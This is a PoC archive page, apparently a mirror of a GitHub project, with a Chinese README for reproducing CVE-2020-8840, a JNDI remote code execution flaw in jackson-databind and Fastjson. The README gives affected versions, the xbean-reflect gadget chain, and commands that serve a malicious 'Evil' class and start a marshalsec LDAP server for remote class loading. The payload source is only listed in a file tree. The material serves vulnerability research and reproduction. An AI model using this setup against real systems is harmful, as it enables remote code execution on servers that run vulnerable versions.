Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-8840 PoC — FasterXML jackson-databind 代码问题漏洞

Source
Associated Vulnerability
Title:FasterXML jackson-databind 代码问题漏洞 (CVE-2020-8840)
Description:FasterXML jackson-databind是FasterXML公司的一个基于JAVA可以将XML和JSON等数据格式与JAVA对象进行转换的库。Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json、xml转换成Java对象。 FasterXML jackson-databind 2.0.0版本至2.9.10.2版本中存在代码问题漏洞,该漏洞源于程序缺少xbean-reflect/JNDI黑名单类。攻击者可利用该漏洞执行代码。
Description
Jackson-databind远程代码执行漏洞(CVE-2020-8840)分析复现环境代码
Readme
# CVE-2020-8840
Jackson-databind远程代码执行漏洞(CVE-2020-8840)分析复现环境代码。

项目包含:

* `jackson-databind`、`Fastjson`中payload
* WebServer恶意类
* 编译好的`marshalsec-0.0.3-SNAPSHOT-all.jar`

## 漏洞简介
Jackson-databind远程代码执行漏洞(CVE-2020-8840),攻击者可利用xbean-reflect的利用链(org.apache.xbean.propertyeditor.JndiConverter)触发JNDI远程类加载从而达到远程代码执行。

该漏洞同时影响部分版本的jackson-databind和Fastjson。


## jackson-databind
影响范围:2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

![](img/1.png)

### 简易环境搭建

示例代码中指向的LDAP服务需要自行搭建。

**WebServer**

开启HTTP服务,存放恶意类(项目中有贴`Evil.java`类)

```
python -m http.server 2222
```

![](img/3.png)

**LDAP服务**

下载 [Marshalsec](https://github.com/mbechler/marshalsec) 工具,编译为jar,开启LDAP服务,设置codebase地址(存放恶意类的WebServer)。

为了方便,省去下载编译的操作,项目中也贴`marshalsec-0.0.3-SNAPSHOT-all.jar`了(项目代码不多,体积庞大的主要原因),JDK8编译。

```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil
```

![](img/4.png)




## Fastjson
影响范围:Fastjson <= 1.2.62

复现环境与上文一致,自行搭建启动WebServer、LDAP服务。


![](img/1.png)



# 参考

* https://github.com/FasterXML/jackson-databind
* https://github.com/FasterXML/jackson-databind/issues/2620
* https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497
* https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
* https://github.com/alibaba/fastjson




File Snapshot

[4.0K] /data/pocs/9d83595a66ae23870a0bdd2d6dcb2b76fb1dfbd4 ├── [4.0K] img │   ├── [229K] 1.png │   ├── [ 87K] 2.png │   ├── [ 15K] 3.png │   └── [ 78K] 4.png ├── [ 41M] marshalsec-0.0.3-SNAPSHOT-all.jar ├── [2.4K] pom.xml ├── [1.8K] README.md └── [4.0K] src ├── [4.0K] java │   ├── [ 286] Evil.java │   ├── [ 454] FastjsonDemo.java │   └── [ 482] JacksonDemo.java └── [4.0K] main └── [4.0K] webapp └── [4.0K] WEB-INF ├── [2.2K] applicationContext.xml ├── [1.6K] log4j.xml └── [4.2K] web.xml 6 directories, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.